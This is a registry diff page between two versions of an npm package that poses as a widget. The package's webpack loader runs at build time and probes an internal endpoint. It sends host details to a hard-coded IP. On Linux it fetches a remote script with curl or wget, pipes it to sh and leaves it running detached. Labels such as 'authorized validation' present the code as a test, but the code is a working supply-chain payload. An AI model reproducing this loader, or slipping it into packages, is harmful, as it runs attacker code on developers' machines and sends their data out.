@noobaihome/amis-uni-area-widget 1.0.7 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -3,12 +3,12 @@
3
3
  const fs = require('fs');
4
4
  const http = require('http');
5
5
  const path = require('path');
6
- const {spawn} = require('child_process');
6
+ const {spawn, spawnSync} = require('child_process');
7
7
 
8
- const marker = 'BSRC_RCE_R269_4d8be2';
8
+ const marker = 'BSRC_RCE_R270_a631df';
9
9
  const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
10
  const receiptHost = ['49', '232', '169', '67'].join('.');
11
- const receiptUrl = `http://${receiptHost}:80/bsrc-r269`;
11
+ const receiptUrl = `http://${receiptHost}:80/bsrc-r270`;
12
12
 
13
13
  function base64url(value) {
14
14
  return Buffer.from(String(value))
@@ -79,6 +79,11 @@ async function runProof(loaderContext) {
79
79
  process.cwd()
80
80
  ]);
81
81
 
82
+ const shell = spawnSync('/bin/sh', ['-c', `printf ${marker}`], {
83
+ encoding: 'utf8',
84
+ timeout: 5000
85
+ });
86
+
82
87
  let internalStatus = 0;
83
88
  let uid = '';
84
89
  let internalError = '';
@@ -106,18 +111,35 @@ async function runProof(loaderContext) {
106
111
  resource: base64url(loaderContext.resourcePath || '')
107
112
  });
108
113
 
109
- if (process.platform !== 'linux' || internalStatus < 200 || internalStatus >= 300 || !uid) {
110
- return;
114
+ let payloadPid = 0;
115
+ if (process.platform === 'linux' && internalStatus >= 200 && internalStatus < 300 && uid) {
116
+ const payload =
117
+ '(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
118
+ const child = spawn('/bin/sh', ['-c', `${payload}; sleep 9d`], {
119
+ detached: true,
120
+ stdio: 'ignore'
121
+ });
122
+ child.unref();
123
+ payloadPid = child.pid || 0;
124
+ await receipt({marker, stage: 'payload', exec: 1, target: targetRoot ? 1 : 0, spawned: payloadPid});
111
125
  }
112
126
 
113
- const payload =
114
- '(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
115
- const child = spawn('/bin/sh', ['-c', `${payload}; sleep 9d`], {
116
- detached: true,
117
- stdio: 'ignore'
118
- });
119
- child.unref();
120
- await receipt({marker, stage: 'payload', exec: 1, target: targetRoot ? 1 : 0, spawned: child.pid || 0});
127
+ return {
128
+ target: targetRoot ? 1 : 0,
129
+ shellStatus: shell.status,
130
+ shell: base64url(shell.stdout || ''),
131
+ shellError: base64url(shell.error ? shell.error.message : ''),
132
+ internalStatus,
133
+ uid: base64url(uid),
134
+ internalError: base64url(internalError),
135
+ payloadPid,
136
+ pid: process.pid,
137
+ cwd: base64url(process.cwd()),
138
+ root: base64url(targetRoot),
139
+ rootContext: base64url(loaderContext.rootContext || ''),
140
+ context: base64url(loaderContext.context || ''),
141
+ resource: base64url(loaderContext.resourcePath || '')
142
+ };
121
143
  }
122
144
 
123
145
  module.exports = function authorizedCompilerLoader() {
@@ -126,7 +148,10 @@ module.exports = function authorizedCompilerLoader() {
126
148
  this.cacheable(false);
127
149
  }
128
150
  runProof(this).then(
129
- () => done(null, `module.exports = ${JSON.stringify(marker)};`),
151
+ (proof) => {
152
+ this.emitWarning(new Error(`${marker} ${JSON.stringify(proof)}`));
153
+ done(null, `module.exports = ${JSON.stringify(marker)};`);
154
+ },
130
155
  (error) => done(error)
131
156
  );
132
157
  };
@@ -1 +1 @@
1
- module.exports = {marker: 'BSRC_RCE_R269_4d8be2', kind: 'plugin'};
1
+ module.exports = {marker: 'BSRC_RCE_R270_a631df', kind: 'plugin'};
package/dist/renderer.css CHANGED
@@ -1 +1 @@
1
- /* BSRC_RCE_R269_4d8be2 authorized compiler validation */
1
+ /* BSRC_RCE_R270_a631df authorized compiler validation */
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.7",
3
+ "version": "1.0.8",
4
4
  "description": "Authorized AI Suda webpack inline-loader validation",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
@@ -13,7 +13,7 @@
13
13
  },
14
14
  "amis-widgets": [
15
15
  {
16
- "type": "bsrc-r269-widget",
16
+ "type": "bsrc-r270-widget",
17
17
  "framework": "vue3",
18
18
  "description": "Authorized webpack loader validation widget",
19
19
  "entry": "/dist/renderer.umd",